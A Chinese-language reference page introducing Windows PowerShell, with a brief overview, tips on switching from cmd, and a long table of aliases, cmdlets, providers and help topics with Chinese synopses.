powershell 订阅
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。Windows PowerShell v3将伴随着Microsoft Hyper-V 3.0和Windows Server 2012发布。PowerShell v3是一个Windows任务自动化的框架,它由一个命令行shell和内置在这个.NET框架上的编程语言组成。PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中,这些进程可以制作成可执行的文件或脚本(script)。一条cmdlet是一条轻量命令,Windows PowerShell运行时间在自动化脚本的环境里调用它。Cmdlet包括显示当前目录的Get-Location,访问文件内容的Get-Content和结束运行进程的Stop-Process。PowerShell v3在Windows Server 8中装载了Windows Management Framework 3.0。PowerShell运行环境也能嵌入到其它应用。 展开全文
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。Windows PowerShell v3将伴随着Microsoft Hyper-V 3.0和Windows Server 2012发布。PowerShell v3是一个Windows任务自动化的框架,它由一个命令行shell和内置在这个.NET框架上的编程语言组成。PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中,这些进程可以制作成可执行的文件或脚本(script)。一条cmdlet是一条轻量命令,Windows PowerShell运行时间在自动化脚本的环境里调用它。Cmdlet包括显示当前目录的Get-Location,访问文件内容的Get-Content和结束运行进程的Stop-Process。PowerShell v3在Windows Server 8中装载了Windows Management Framework 3.0。PowerShell运行环境也能嵌入到其它应用。
信息
类    型
命令行工具
平    台
Windows/.NET
运行环境
Windows 命令提示符和Windows Script Host
更新时间
2020-02-24
途    径
.NET Framework
外文名
PowerShell
开发商
微软(Microsoft)
最新版本
7.0.0-rc.3
Windows Power Shell目标受众
Windows PowerShell 入门主要面向之前没有 Windows PowerShell 背景知识的 IT 专业人员、程序员和高级用户。虽然具备脚本和 WMI 方面的背景知识会有所帮助,但是理解本文档并不假定或要求您具备此方面知识。关于 Windows PowerShell通过解决长期存在的问题并添加一些新的功能,Windows PowerShell 旨在改进命令行和脚本环境。PowerShell以.NET Framework为平台,接收和返回.NET对象,此举为管理和配置微软系统带来了新的方法和工具。
收起全文
精华内容
参与话题
问答
  • powershell

    2020-02-26 17:53:33
    Windows PowerShell打开方法与常用命令 Win7/8.1系统可以使用Win+Q组合键打开搜索,然后输入PowerShell,选择下面的提示项就可以了 从cmd切换至PowerShell:可以在命令提示符中输入PowerShell就可切换至Windows ...

    常用命令

    从cmd切换至PowerShell:可以在命令提示符中输入PowerShell 从PowerShell切换至cmd:在PowerShell下输入cmd 获取所有命令:get-command 获取所有进程:get-process 与cmd一样,cls为清屏命令 具体参考PowerShell ::http://www.xntutor.com/powershell

    7z压缩文档的powershell示例

    在这里插入图片描述

    Name Category Synopsis

    Name                              Category  Synopsis                           
    ----                              --------  --------                           
    ac                                Alias     Add-Content                        
    asnp                              Alias     Add-PSSnapin                       
    clc                               Alias     Clear-Content                      
    cli                               Alias     Clear-Item                         
    clp                               Alias     Clear-ItemProperty                 
    clv                               Alias     Clear-Variable                     
    compare                           Alias     Compare-Object                     
    cpi                               Alias     Copy-Item                          
    cpp                               Alias     Copy-ItemProperty                  
    cvpa                              Alias     Convert-Path                       
    dbp                               Alias     Disable-PSBreakpoint               
    diff                              Alias     Compare-Object                     
    ebp                               Alias     Enable-PSBreakpoint                
    epal                              Alias     Export-Alias                       
    epcsv                             Alias     Export-Csv                         
    fc                                Alias     Format-Custom                      
    fl                                Alias     Format-List                        
    foreach                           Alias     ForEach-Object                     
    %                                 Alias     ForEach-Object                     
    ft                                Alias     Format-Table                       
    fw                                Alias     Format-Wide                        
    gal                               Alias     Get-Alias                          
    gbp                               Alias     Get-PSBreakpoint                   
    gc                                Alias     Get-Content                        
    gci                               Alias     Get-ChildItem                      
    gcm                               Alias     Get-Command                        
    gdr                               Alias     Get-PSDrive                        
    gcs                               Alias     Get-PSCallStack                    
    ghy                               Alias     Get-History                        
    gi                                Alias     Get-Item                           
    gl                                Alias     Get-Location                       
    gm                                Alias     Get-Member                         
    gmo                               Alias     Get-Module                         
    gp                                Alias     Get-ItemProperty                   
    gps                               Alias     Get-Process                        
    group                             Alias     Group-Object                       
    gsv                               Alias     Get-Service                        
    gsnp                              Alias     Get-PSSnapin                       
    gu                                Alias     Get-Unique                         
    gv                                Alias     Get-Variable                       
    gwmi                              Alias     Get-WmiObject                      
    iex                               Alias     Invoke-Expression                  
    ihy                               Alias     Invoke-History                     
    ii                                Alias     Invoke-Item                        
    ipmo                              Alias     Import-Module                      
    iwmi                              Alias     Invoke-WmiMethod                   
    ipal                              Alias     Import-Alias                       
    ipcsv                             Alias     Import-Csv                         
    measure                           Alias     Measure-Object                     
    mi                                Alias     Move-Item                          
    mp                                Alias     Move-ItemProperty                  
    nal                               Alias     New-Alias                          
    ndr                               Alias     New-PSDrive                        
    ni                                Alias     New-Item                           
    nv                                Alias     New-Variable                       
    nmo                               Alias     New-Module                         
    oh                                Alias     Out-Host                           
    ogv                               Alias     Out-GridView                       
    ise                               Alias     powershell_ise.exe                 
    rbp                               Alias     Remove-PSBreakpoint                
    rdr                               Alias     Remove-PSDrive                     
    ri                                Alias     Remove-Item                        
    rni                               Alias     Rename-Item                        
    rnp                               Alias     Rename-ItemProperty                
    rp                                Alias     Remove-ItemProperty                
    rmo                               Alias     Remove-Module                      
    rsnp                              Alias     Remove-PSSnapin                    
    rv                                Alias     Remove-Variable                    
    rwmi                              Alias     Remove-WmiObject                   
    rvpa                              Alias     Resolve-Path                       
    sal                               Alias     Set-Alias                          
    sasv                              Alias     Start-Service                      
    sbp                               Alias     Set-PSBreakpoint                   
    sc                                Alias     Set-Content                        
    select                            Alias     Select-Object                      
    si                                Alias     Set-Item                           
    sl                                Alias     Set-Location                       
    swmi                              Alias     Set-WmiInstance                    
    sleep                             Alias     Start-Sleep                        
    sort                              Alias     Sort-Object                        
    sp                                Alias     Set-ItemProperty                   
    saps                              Alias     Start-Process                      
    start                             Alias     Start-Process                      
    spps                              Alias     Stop-Process                       
    spsv                              Alias     Stop-Service                       
    sv                                Alias     Set-Variable                       
    tee                               Alias     Tee-Object                         
    where                             Alias     Where-Object                       
    ?                                 Alias     Where-Object                       
    write                             Alias     Write-Output                       
    cat                               Alias     Get-Content                        
    cd                                Alias     Set-Location                       
    clear                             Alias     Clear-Host                         
    cp                                Alias     Copy-Item                          
    h                                 Alias     Get-History                        
    history                           Alias     Get-History                        
    kill                              Alias     Stop-Process                       
    lp                                Alias     Out-Printer                        
    ls                                Alias     Get-ChildItem                      
    man                               Alias     help                               
    mount                             Alias     New-PSDrive                        
    md                                Alias     mkdir                              
    mv                                Alias     Move-Item                          
    popd                              Alias     Pop-Location                       
    ps                                Alias     Get-Process                        
    pushd                             Alias     Push-Location                      
    pwd                               Alias     Get-Location                       
    r                                 Alias     Invoke-History                     
    rm                                Alias     Remove-Item                        
    rmdir                             Alias     Remove-Item                        
    echo                              Alias     Write-Output                       
    cls                               Alias     Clear-Host                         
    chdir                             Alias     Set-Location                       
    copy                              Alias     Copy-Item                          
    del                               Alias     Remove-Item                        
    dir                               Alias     Get-ChildItem                      
    erase                             Alias     Remove-Item                        
    move                              Alias     Move-Item                          
    rd                                Alias     Remove-Item                        
    ren                               Alias     Rename-Item                        
    set                               Alias     Set-Variable                       
    type                              Alias     Get-Content                        
    icm                               Alias     Invoke-Command                     
    clhy                              Alias     Clear-History                      
    gjb                               Alias     Get-Job                            
    rcjb                              Alias     Receive-Job                        
    rjb                               Alias     Remove-Job                         
    sajb                              Alias     Start-Job                          
    spjb                              Alias     Stop-Job                           
    wjb                               Alias     Wait-Job                           
    nsn                               Alias     New-PSSession                      
    gsn                               Alias     Get-PSSession                      
    rsn                               Alias     Remove-PSSession                   
    ipsn                              Alias     Import-PSSession                   
    epsn                              Alias     Export-PSSession                   
    etsn                              Alias     Enter-PSSession                    
    exsn                              Alias     Exit-PSSession                     
    prompt                            Function  prompt ...                         
    TabExpansion                      Function  TabExpansion [[-line] <Object>] ...
    Clear-Host                        Function  Clear-Host ...                     
    more                              Function  more [[-paths] <String[]>]...      
    help                              Function                                     
    mkdir                             Function                                     
    Disable-PSRemoting                Cmdlet    阻止计算机接收远程 Windows PowerShell 命令。   
    Get-Verb                          Function  Get-Verb [[-verb] <String[]>] [-...
    A:                                Function  A: ...                             
    B:                                Function  B: ...                             
    C:                                Function  C: ...                             
    D:                                Function  D: ...                             
    E:                                Function  E: ...                             
    F:                                Function  F: ...                             
    G:                                Function  G: ...                             
    H:                                Function  H: ...                             
    I:                                Function  I: ...                             
    J:                                Function  J: ...                             
    K:                                Function  K: ...                             
    L:                                Function  L: ...                             
    M:                                Function  M: ...                             
    N:                                Function  N: ...                             
    O:                                Function  O: ...                             
    P:                                Function  P: ...                             
    Q:                                Function  Q: ...                             
    R:                                Function  R: ...                             
    S:                                Function  S: ...                             
    T:                                Function  T: ...                             
    U:                                Function  U: ...                             
    V:                                Function  V: ...                             
    W:                                Function  W: ...                             
    X:                                Function  X: ...                             
    Y:                                Function  Y: ...                             
    Z:                                Function  Z: ...                             
    cd..                              Function  cd.. ...                           
    cd\                               Function  cd\ ...                            
    ImportSystemModules               Function  ImportSystemModules ...            
    Get-WinEvent                      Cmdlet    从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。     
    Get-Counter                       Cmdlet    从本地和远程计算机上获取性能计数器数据。               
    Import-Counter                    Cmdlet    导入性能计数器日志文件(.blg、.csv、.tsv)并创建表示...
    Export-Counter                    Cmdlet    Export-Counter cmdlet 获取 Perform...
    Disable-WSManCredSSP              Cmdlet    在客户端计算机上禁用凭据安全服务提供程序 (CredSSP) 身...
    Enable-WSManCredSSP               Cmdlet    在客户端计算机上启用凭据安全服务提供程序 (CredSSP) 身...
    Get-WSManCredSSP                  Cmdlet    获取客户端的与凭据安全服务提供程序相关的配置。            
    Set-WSManQuickConfig              Cmdlet    配置本地计算机的远程管理。                      
    Test-WSMan                        Cmdlet    测试 WinRM 服务是否正在本地或远程计算机上运行。        
    Invoke-WSManAction                Cmdlet    对资源 URI 和选择器指定的对象调用操作。             
    Connect-WSMan                     Cmdlet    连接到远程计算机上的 WinRM 服务。               
    Disconnect-WSMan                  Cmdlet    断开客户端与远程计算机上的 WinRM 服务的连接。         
    Get-WSManInstance                 Cmdlet    显示由资源 URI 指定的资源实例的管理信息。            
    Set-WSManInstance                 Cmdlet    修改与资源相关的管理信息。                      
    Remove-WSManInstance              Cmdlet    删除管理资源实例。                          
    New-WSManInstance                 Cmdlet    创建管理资源的新实例。                        
    New-WSManSessionOption            Cmdlet    创建 WS-Management 会话选项哈希表以用作以下 WS...
    Get-Command                       Cmdlet    获取有关 cmdlet 以及有关 Windows PowerSh...
    Get-Help                          Cmdlet    显示有关 Windows PowerShell 命令和概念的信息。  
    Get-History                       Cmdlet    获取在当前会话中输入的命令的列表。                  
    Invoke-History                    Cmdlet    从会话历史记录中运行命令。                      
    Add-History                       Cmdlet    向会话历史记录追加条目。                       
    Clear-History                     Cmdlet    删除命令历史记录中的条目。                      
    Register-PSSessionConfiguration   Cmdlet    创建并注册新的会话配置。                       
    Unregister-PSSessionConfiguration Cmdlet    从计算机上删除已注册的会话配置。                   
    Get-PSSessionConfiguration        Cmdlet    获取计算机上已注册的会话配置。                    
    Set-PSSessionConfiguration        Cmdlet    更改已注册会话配置的属性。                      
    Enable-PSSessionConfiguration     Cmdlet    启用本地计算机上的会话配置。                     
    Disable-PSSessionConfiguration    Cmdlet    拒绝访问本地计算机上的会话配置。                   
    Enable-PSRemoting                 Cmdlet    将计算机配置为接收远程命令。                     
    Invoke-Command                    Cmdlet    在本地和远程计算机上运行命令。                    
    New-PSSession                     Cmdlet    建立与本地或远程计算机的持续性连接。                 
    Get-PSSession                     Cmdlet    获取当前会话中的 Windows PowerShell 会话 (...
    Remove-PSSession                  Cmdlet    关闭一个或多个 Windows PowerShell 会话 (P...
    Start-Job                         Cmdlet    启动 Windows PowerShell 后台作业。        
    Get-Job                           Cmdlet    获取在当前会话中运行的 Windows PowerShell 后...
    Receive-Job                       Cmdlet    获取当前会话中 Windows PowerShell 后台作业的结果。
    Stop-Job                          Cmdlet    停止 Windows PowerShell 后台作业。        
    Wait-Job                          Cmdlet    禁止显示命令提示符,直至在会话中运行的一个或全部 Windows...
    Remove-Job                        Cmdlet    删除 Windows PowerShell 后台作业。        
    Enter-PSSession                   Cmdlet    启动与远程计算机间的交互式会话。                   
    Exit-PSSession                    Cmdlet    结束与远程计算机的交互式会话。                    
    New-PSSessionOption               Cmdlet    创建包含 PSSession 高级选项的对象。            
    ForEach-Object                    Cmdlet    针对每一组输入对象执行操作。                     
    Where-Object                      Cmdlet    创建控制哪些对象沿着命令管道传递的筛选器。              
    Set-PSDebug                       Cmdlet    打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式。   
    Set-StrictMode                    Cmdlet    建立和强制执行表达式、脚本和脚本块中的编码规则。           
    New-Module                        Cmdlet    创建一个仅存在于内存中的新动态模块。                 
    Import-Module                     Cmdlet    向当前会话中添加模块。                        
    Export-ModuleMember               Cmdlet    指定要导出的模块成员。                        
    Get-Module                        Cmdlet    获取已导入或可以导入到当前会话中的模块。               
    Remove-Module                     Cmdlet    删除当前会话中的模块。                        
    New-ModuleManifest                Cmdlet    创建一个新的模块清单。                        
    Test-ModuleManifest               Cmdlet    验证模块清单文件是否准确描述了模块的内容。              
    Add-PSSnapin                      Cmdlet    将一个或多个 Windows PowerShell 管理单元添加...
    Remove-PSSnapin                   Cmdlet    将 Windows PowerShell 管理单元从当前会话中删除。 
    Get-PSSnapin                      Cmdlet    获取计算机上的 Windows PowerShell 管理单元。   
    Export-Console                    Cmdlet    将当前会话中管理单元的名称导出到一个控制台文件。           
    Format-List                       Cmdlet    将输出的格式设置为属性列表,其中每个属性均各占一行显示。       
    Format-Custom                     Cmdlet    使用自定义视图来设置输出的格式。                   
    Format-Table                      Cmdlet    将输出的格式设置为表。                        
    Format-Wide                       Cmdlet    将对象的格式设置为只能显示每个对象的一个属性的宽表。         
    Out-Null                          Cmdlet    删除输出,不将其发送到控制台。                    
    Out-Default                       Cmdlet    将输出发送到默认的格式化程序和默认的输出 cmdlet。       
    Out-Host                          Cmdlet    将输出发送到命令行。                         
    Out-File                          Cmdlet    将输出发送到文件。                          
    Out-Printer                       Cmdlet    将输出发送到打印机。                         
    Out-String                        Cmdlet    将对象作为一列字符串发送到主机。                   
    Out-GridView                      Cmdlet    将输出发送到单独窗口中的交互表。                   
    Get-FormatData                    Cmdlet    获取当前会话中的格式数据。                      
    Export-FormatData                 Cmdlet    将当前会话中的格式数据保存在一个格式文件中。             
    Register-ObjectEvent              Cmdlet    订阅由 Microsoft .NET Framework 对象生...
    Register-EngineEvent              Cmdlet    订阅由 Windows PowerShell 引擎以及由 New...
    Wait-Event                        Cmdlet    等到引发特定事件后再继续运行。                    
    Get-Event                         Cmdlet    获取事件队列中的事件。                        
    Remove-Event                      Cmdlet    删除事件队列中的事件。                        
    Get-EventSubscriber               Cmdlet    获取当前会话中的事件订阅者。                     
    Unregister-Event                  Cmdlet    取消事件订阅。                            
    New-Event                         Cmdlet    创建新事件。                             
    Add-Member                        Cmdlet    向 Windows PowerShell 对象的实例中添加用户定...
    Add-Type                          Cmdlet    向 Windows PowerShell 会话中添加 Micro...
    Compare-Object                    Cmdlet    比较两组对象。                            
    ConvertTo-Html                    Cmdlet    将 Microsoft .NET Framework 对象转换为...
    ConvertFrom-StringData            Cmdlet    将包含一个或多个键-值对的字符串转换为哈希表。            
    Export-CSV                        Cmdlet    将 Microsoft .NET Framework 对象转换为...
    Import-CSV                        Cmdlet    将逗号分隔值 (CSV) 文件中的对象属性转换为原始对象的 CS...
    ConvertTo-CSV                     Cmdlet    将 Microsoft .NET Framework 对象转换为...
    ConvertFrom-CSV                   Cmdlet    将逗号分隔值 (CSV) 格式的对象属性转换为原始对象的 CSV...
    Export-Alias                      Cmdlet    将当前定义的别名相关信息导出到文件中。                
    Invoke-Expression                 Cmdlet    在本地计算机上运行命令或表达式。                   
    Get-Alias                         Cmdlet    获取当前会话的别名。                         
    Get-Culture                       Cmdlet    获取操作系统中设置的当前区域性。                   
    Get-Date                          Cmdlet    获取当前日期和时间。                         
    Get-Host                          Cmdlet    获取表示当前主机程序的对象。默认情况下,还显示 Windows ...
    Get-Member                        Cmdlet    获取对象的属性和方法。                        
    Get-Random                        Cmdlet    从集合中获取随机数或随机选择对象。                  
    Get-UICulture                     Cmdlet    获取操作系统中当前用户界面 (UI) 区域性设置。          
    Get-Unique                        Cmdlet    从排序列表返回唯一项目。                       
    Export-PSSession                  Cmdlet    导入来自其他会话的命令,并将它们保存到 Windows Powe...
    Import-PSSession                  Cmdlet    将来自其他会话的命令导入到当前会话中。                
    Import-Alias                      Cmdlet    从文件导入别名列表。                         
    Import-LocalizedData              Cmdlet    根据为操作系统选择的 UI 区域性,将语言特定的数据导入脚本和函数。 
    Select-String                     Cmdlet    查找字符串和文件中的文本。                      
    Measure-Object                    Cmdlet    计算对象的数字属性以及字符串对象(如文本文件)中的字符数、单词数...
    New-Alias                         Cmdlet    创建新别名。                             
    New-TimeSpan                      Cmdlet    创建 TimeSpan 对象。                    
    Read-Host                         Cmdlet    从控制台读取一行输入。                        
    Set-Alias                         Cmdlet    在当前 Windows PowerShell 会话中为 cmdl...
    Set-Date                          Cmdlet    将计算机上的系统时间更改为指定的时间。                
    Start-Sleep                       Cmdlet    将脚本或会话中的活动挂起指定的一段时间。               
    Tee-Object                        Cmdlet    将命令输出保存在文件或变量中,并将其显示在控制台中。         
    Measure-Command                   Cmdlet    度量运行脚本块和 cmdlet 所用的时间。             
    Update-List                       Cmdlet    在包含对象集合的属性值中添加和删除项。                
    Update-TypeData                   Cmdlet    通过将 *.types.ps1xml 文件重新加载到内存中来更新...
    Update-FormatData                 Cmdlet    更新当前会话中的格式数据。                      
    Write-Host                        Cmdlet    将自定义的输出内容写入主机。                     
    Write-Progress                    Cmdlet    在 Windows PowerShell 命令窗口内显示进度栏。   
    New-Object                        Cmdlet    创建 Microsoft .NET Framework 或 CO...
    Select-Object                     Cmdlet    选择一个对象或一组对象的指定属性。它还可以从对象的数组中选择唯一...
    Group-Object                      Cmdlet    指定的属性包含相同值的组对象。                    
    Sort-Object                       Cmdlet    按属性值对对象进行排序。                       
    Get-Variable                      Cmdlet    获取当前控制台中的变量。                       
    New-Variable                      Cmdlet    创建新变量                              
    Set-Variable                      Cmdlet    设置变量的值。如果不存在具有所请求名称的变量,则创建该变量。     
    Remove-Variable                   Cmdlet    删除变量及其值。                           
    Clear-Variable                    Cmdlet    删除变量的值。                            
    Export-Clixml                     Cmdlet    创建对象的基于 XML 的表示形式并将其存储在文件中。        
    Import-Clixml                     Cmdlet    导入 CLIXML 文件,并在 Windows PowerShe...
    ConvertTo-XML                     Cmdlet    创建对象的基于 XML 的表示形式。                 
    Select-XML                        Cmdlet    在 XML 字符串或文档中查找文本。                 
    Write-Debug                       Cmdlet    将调试消息写入控制台。                        
    Write-Verbose                     Cmdlet    将文本写入详细消息流。                        
    Write-Warning                     Cmdlet    写入警告消息。                            
    Write-Error                       Cmdlet    将对象写入错误流。                          
    Write-Output                      Cmdlet    将指定对象发送到管道中的下一个命令。如果该命令是管道中的最后一个...
    Set-PSBreakpoint                  Cmdlet    在行、命令或变量上设置断点。                     
    Get-PSBreakpoint                  Cmdlet    获取当前会话中设置的断点。                      
    Remove-PSBreakpoint               Cmdlet    删除当前控制台中的断点。                       
    Enable-PSBreakpoint               Cmdlet    启用当前控制台中的断点。                       
    Disable-PSBreakpoint              Cmdlet    禁用当前控制台中的断点。                       
    Get-PSCallStack                   Cmdlet    显示当前调用堆栈。                          
    Send-MailMessage                  Cmdlet    发送电子邮件。                            
    Get-TraceSource                   Cmdlet    获取用于跟踪的 Windows PowerShell 组件。     
    Set-TraceSource                   Cmdlet    配置、启动和停止对 Windows PowerShell 组件的跟踪。
    Trace-Command                     Cmdlet    配置并启动对指定表达式或命令的跟踪。                 
    Start-Transcript                  Cmdlet    在文本文件中创建全部或部分 Windows PowerShell...
    Stop-Transcript                   Cmdlet    停止脚本。                              
    Add-Content                       Cmdlet    向指定的项中添加内容,如向文件中添加字词。              
    Clear-Content                     Cmdlet    删除项的内容(例如从文件中删除文本),但不删除该项。         
    Clear-ItemProperty                Cmdlet    删除属性的值,但不删除该属性。                    
    Join-Path                         Cmdlet    将路径和子路径合并到单个路径中。提供程序将提供路径分隔符。      
    Convert-Path                      Cmdlet    将路径从 Windows PowerShell 路径转换为 Wi...
    Copy-ItemProperty                 Cmdlet    将属性和值从指定的位置复制到另一个位置。               
    Get-EventLog                      Cmdlet    获取本地或远程计算机上的事件日志或事件日志列表中的事件。       
    Clear-EventLog                    Cmdlet    删除本地或远程计算机上的指定事件日志中的所有条目。          
    Write-EventLog                    Cmdlet    将事件写入事件日志。                         
    Limit-EventLog                    Cmdlet    设置限制事件日志大小及其条目存在时间的事件日志属性。         
    Show-EventLog                     Cmdlet    在事件查看器中显示本地或远程计算机的事件日志。            
    New-EventLog                      Cmdlet    在本地或远程计算机上创建新事件日志和新事件源。            
    Remove-EventLog                   Cmdlet    删除事件日志或注销事件源。                      
    Get-ChildItem                     Cmdlet    获取一个或多个指定位置中的项和子项。                 
    Get-Content                       Cmdlet    获取位于指定位置的项的内容。                     
    Get-ItemProperty                  Cmdlet    获取指定项的属性。                          
    Get-WmiObject                     Cmdlet    获取 Windows Management Instrument...
    Invoke-WmiMethod                  Cmdlet    调用 Windows Management Instrument...
    Move-ItemProperty                 Cmdlet    将属性从一个位置移动到另一个位置。                  
    Get-Location                      Cmdlet    获取当前工作位置的相关信息。                     
    Set-Location                      Cmdlet    将当前工作位置设置为指定的位置。                   
    Push-Location                     Cmdlet    将当前位置添加到位置列表(“堆栈”)的顶部。             
    Pop-Location                      Cmdlet    将当前位置更改为最近推入到堆栈中的位置。您可以从默认堆栈中或从您...
    New-PSDrive                       Cmdlet    在当前会话中创建 Windows PowerShell 驱动器。   
    Remove-PSDrive                    Cmdlet    从所在位置删除 Windows PowerShell 驱动器。    
    Get-PSDrive                       Cmdlet    获取当前会话中的 Windows PowerShell 驱动器。   
    Get-Item                          Cmdlet    获取位于指定位置的项。                        
    New-Item                          Cmdlet    创建新项。                              
    Set-Item                          Cmdlet    将项的值更改为命令中指定的值。                    
    Remove-Item                       Cmdlet    删除指定项。                             
    Move-Item                         Cmdlet    将项从一个位置移动到另一个位置。                   
    Rename-Item                       Cmdlet    重命名 Windows PowerShell 提供程序命名空间中...
    Copy-Item                         Cmdlet    将项从一个位置复制到命名空间内的另一个位置。             
    Clear-Item                        Cmdlet    删除项的内容,但不删除该项。                     
    Invoke-Item                       Cmdlet    对指定项执行默认操作。                        
    Get-PSProvider                    Cmdlet    获取有关指定的 Windows PowerShell 提供程序的信息。
    New-ItemProperty                  Cmdlet    为项创建新属性并设置该属性的值。例如,可以使用 New-Item...
    Split-Path                        Cmdlet    返回指定的路径部分。                         
    Test-Path                         Cmdlet    确定路径的所有元素是否存在。                     
    Get-Process                       Cmdlet    获取在本地计算机或远程计算机上运行的进程。              
    Stop-Process                      Cmdlet    停止一个或多个正在运行的进程。                    
    Wait-Process                      Cmdlet    等到进程停止后再接受更多输入。                    
    Debug-Process                     Cmdlet    调试在本地计算机上运行的一个或多个进程。               
    Start-Process                     Cmdlet    启动本地计算机上的一个或多个进程。                  
    Remove-ItemProperty               Cmdlet    从注册表项中删除属性及其值。                     
    Remove-WmiObject                  Cmdlet    删除现有 Windows Management Instrume...
    Rename-ItemProperty               Cmdlet    重命名项的属性。                           
    Register-WmiEvent                 Cmdlet    订阅 Windows Management Instrument...
    Resolve-Path                      Cmdlet    解析路径中的通配符并显示路径内容。                  
    Get-Service                       Cmdlet    获取本地或远程计算机上的服务。                    
    Stop-Service                      Cmdlet    停止一个或多个正在运行的服务。                    
    Start-Service                     Cmdlet    启动一个或多个已停止的服务。                     
    Suspend-Service                   Cmdlet    挂起(暂停)一个或多个正在运行的服务。                
    Resume-Service                    Cmdlet    恢复一项或多项挂起(暂停的)服务。                  
    Restart-Service                   Cmdlet    停止并接着启动一个或更多服务。                    
    Set-Service                       Cmdlet    启动、停止和挂起服务并更改服务的属性。                
    New-Service                       Cmdlet    创建新的 Windows 服务。                   
    Set-Content                       Cmdlet    在项中写入内容或用新内容替换其中的内容。               
    Set-ItemProperty                  Cmdlet    创建或更改某一项的属性值。                      
    Set-WmiInstance                   Cmdlet    创建或更新现有 Windows Management Instr...
    Get-Transaction                   Cmdlet    获取当前(活动)事务。                        
    Start-Transaction                 Cmdlet    启动事务。                              
    Complete-Transaction              Cmdlet    提交活动事务。                            
    Undo-Transaction                  Cmdlet    回滚活动事务。                            
    Use-Transaction                   Cmdlet    将脚本块添加到活动事务中。                      
    New-WebServiceProxy               Cmdlet    创建一个 Web 服务代理对象,用于在 Windows Powe...
    Get-HotFix                        Cmdlet    获取已应用于本地和远程计算机的修补程序。               
    Test-Connection                   Cmdlet    将 ICMP 回显请求数据包(“ping”)发送给一台或多台计算机。 
    Enable-ComputerRestore            Cmdlet    在指定的文件系统驱动器上启用系统还原功能。              
    Disable-ComputerRestore           Cmdlet    在指定的文件系统驱动器上禁用系统还原功能。              
    Checkpoint-Computer               Cmdlet    在本地计算机上创建系统还原点。                    
    Get-ComputerRestorePoint          Cmdlet    获取本地计算机上的还原点。                      
    Restart-Computer                  Cmdlet    重新启动(“重新引导”)本地和远程计算机上的操作系统。        
    Stop-Computer                     Cmdlet    停止(关闭)本地和远程计算机。                    
    Restore-Computer                  Cmdlet    在本地计算机上启动系统还原。                     
    Add-Computer                      Cmdlet    将本地计算机添加到域或工作组中。                   
    Remove-Computer                   Cmdlet    从工作组或域中删除本地计算机。                    
    Test-ComputerSecureChannel        Cmdlet    测试并修复本地计算机与其域之间的安全通道。              
    Reset-ComputerMachinePassword     Cmdlet    重置计算机的计算机帐户密码。                     
    Get-Acl                           Cmdlet    获取资源(例如文件或注册表项)的安全描述符。             
    Set-Acl                           Cmdlet    更改指定资源(例如文件或注册表项)的安全描述符。           
    Get-PfxCertificate                Cmdlet    获取计算机上 .pfx 证书文件的相关信息。             
    Get-Credential                    Cmdlet    获取基于用户名和密码的凭据对象。                   
    Get-ExecutionPolicy               Cmdlet    获取当前会话中的执行策略。                      
    Set-ExecutionPolicy               Cmdlet    更改 Windows PowerShell 执行策略的用户首选项。  
    Get-AuthenticodeSignature         Cmdlet    获取文件中有关 Authenticode 签名的信息。        
    Set-AuthenticodeSignature         Cmdlet    为 Windows PowerShell 脚本或其他文件添加 A...
    ConvertFrom-SecureString          Cmdlet    将安全字符串转换为加密的标准字符串。                 
    ConvertTo-SecureString            Cmdlet    将加密的标准字符串转换为安全字符串。它还可以将纯文本转换为安全字...
    WSMan                             Provider  提供对 Web Services for Management ...
    Alias                             Provider  提供对 Windows PowerShell 别名以及它们所表示...
    Environment                       Provider  提供对 Windows 环境变量的访问。               
    FileSystem                        Provider  提供对文件和目录的访问。                       
    Function                          Provider  提供对 Windows PowerShell 中所定义函数的访问。  
    Registry                          Provider  提供从 Windows PowerShell 对系统注册表项和注...
    Variable                          Provider  提供对 Windows PowerShell 变量及其值的访问。   
    Certificate                       Provider  提供对 X.509 证书存储和对 Windows PowerSh...
    about_aliases                     HelpFile  说明如何在 Windows PowerShell 中使用 cmd...
    about_Arithmetic_Operators        HelpFile  说明在 Windows PowerShell 中执行算术运算的运算符。
    about_arrays                      HelpFile  描述用于存储数据元素的紧凑型数据结构                 
    about_Assignment_Operators        HelpFile  说明如何使用运算符向变量赋值。                    
    about_Automatic_Variables         HelpFile  说明存储 Windows PowerShell 状态信息的变量。   
    about_Break                       HelpFile  描述一个可用于立即退出 Foreach、For、While、Do...
    about_command_precedence          HelpFile  描述 Windows PowerShell 如何确定要运行哪个命令。 
    about_Command_Syntax              HelpFile  描述帮助中的 Windows PowerShell 语法表示法。   
    about_Comment_Based_Help          HelpFile  描述如何为函数和脚本编写基于注释的帮助主题。             
    about_CommonParameters            HelpFile  描述可用于任何 cmdlet 的参数。                
    about_Comparison_Operators        HelpFile  说明在 Windows PowerShell 中用于比较值的运算符。 
    about_Continue                    HelpFile  说明 Continue 语句如何使程序流立即返回到程序循环的顶部。  
    about_Core_Commands               HelpFile  列出用于 Windows PowerShell 提供程序的 cm...
    about_data_sections               HelpFile  说明 Data 节,这些节将文本字符串和其他只读数据与脚本逻辑隔离。 
    about_debuggers                   HelpFile  说明 Windows PowerShell 调试程序。        
    about_do                          HelpFile  根据 While 或 Until 条件,运行一个语句列表一次或多次。 
    about_environment_variables       HelpFile  说明如何在 Windows PowerShell 中访问 Win...
    about_escape_characters           HelpFile  介绍 Windows PowerShell 中的转义字符并解释其作用。
    about_eventlogs                   HelpFile  Windows PowerShell 将创建一个名为"Windo...
    about_execution_policies          HelpFile  说明 Windows PowerShell 执行策略,并介绍如何...
    about_For                         HelpFile  说明可用于基于条件测试来运行语句的一种语言命令。           
    about_Foreach                     HelpFile  说明可用于遍历项集合中的所有项的一种语言命令。            
    about_format.ps1xml               HelpFile  Windows PowerShell 中的 Format.ps1...
    about_functions                   HelpFile  说明如何在 Windows PowerShell 中创建和使用函数。 
    about_functions_advanced          HelpFile  介绍与 cmdlet 行为类似的高级函数。              
    about_functions_advanced_methods  HelpFile  说明指定了 CmdletBinding 属性 (attribut...
    about_functions_advanced_param... HelpFile  说明如何向声明了 CmdletBinding 属性的函数添加静态...
